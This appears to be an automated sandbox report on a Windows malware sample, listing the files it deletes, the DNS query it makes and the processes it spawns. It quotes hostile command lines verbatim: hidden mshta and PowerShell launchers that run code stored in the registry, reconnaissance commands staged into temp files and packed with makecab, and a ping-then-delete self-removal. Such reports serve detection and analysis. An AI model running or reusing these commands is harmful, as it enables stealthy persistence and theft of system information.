Technical Information
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012021022820210301\index.dat
Deletes the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\noconnect[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\errorpagetemplate[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\caasbycl\httperrorpagesscripts[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\errorpagestrings[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\down[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\tools[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\caasbycl\favcenter[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\background_gradient[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\dnserror[1]
Deletes itself.
Network activity
UDP
- DNS ASK updates.microsoft.com
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\mshta.exe' "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\294256E3-74A5-4392-C66D-E8275AF19C4B\\\BthsxRes'...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\294256E3-74A5-4392-C66D-E8275AF19C4B").AUDI9_29))' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gfcafj1d.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9B1.tmp" "%TEMP%\CSC9A0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0z65k0cp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA9B.tmp" "%TEMP%\CSCA9A.tmp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C ping localhost -n 5 && del "<Full path to file>"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C pause dll mail, ,' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\294256E3-74A5-4392-C66D-E8275AF19C4B\\\BthsxRes'...
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
- '<SYSTEM32>\cmd.exe' /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\driverquery.exe'
- '<SYSTEM32>\cmd.exe' /C "driverquery.exe >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\tasklist.exe' /SVC
- '<SYSTEM32>\cmd.exe' /C "tasklist.exe /SVC >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\nslookup.exe' 127.0.0.1
- '<SYSTEM32>\cmd.exe' /C "nslookup 127.0.0.1 >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\net.exe' view
- '<SYSTEM32>\cmd.exe' /C "net view >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\DF48.bin1"
- '<SYSTEM32>\systeminfo.exe'
- '%WINDIR%\syswow64\cmd.exe' /C pause dll mail, ,
- '<SYSTEM32>\makecab.exe' /F "%TEMP%\1BB2.bin"
- '<SYSTEM32>\cmd.exe' /C "systeminfo.exe > %TEMP%\DF48.bin1"
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\48A4.bi1"
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\ping.exe' localhost -n 5
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\48A4.bi1"
- '<SYSTEM32>\cmd.exe' /C ping localhost -n 5 && del "<Full path to file>"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA9B.tmp" "%TEMP%\CSCA9A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0z65k0cp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9B1.tmp" "%TEMP%\CSC9A0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gfcafj1d.cmdline"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\294256E3-74A5-4392-C66D-E8275AF19C4B").AUDI9_29))
- '<SYSTEM32>\cmd.exe' /U /C "type %TEMP%\DF48.bin1 > %TEMP%\DF48.bin & del %TEMP%\DF48.bin1"
- '<SYSTEM32>\makecab.exe' /F "%TEMP%\3792.bin"
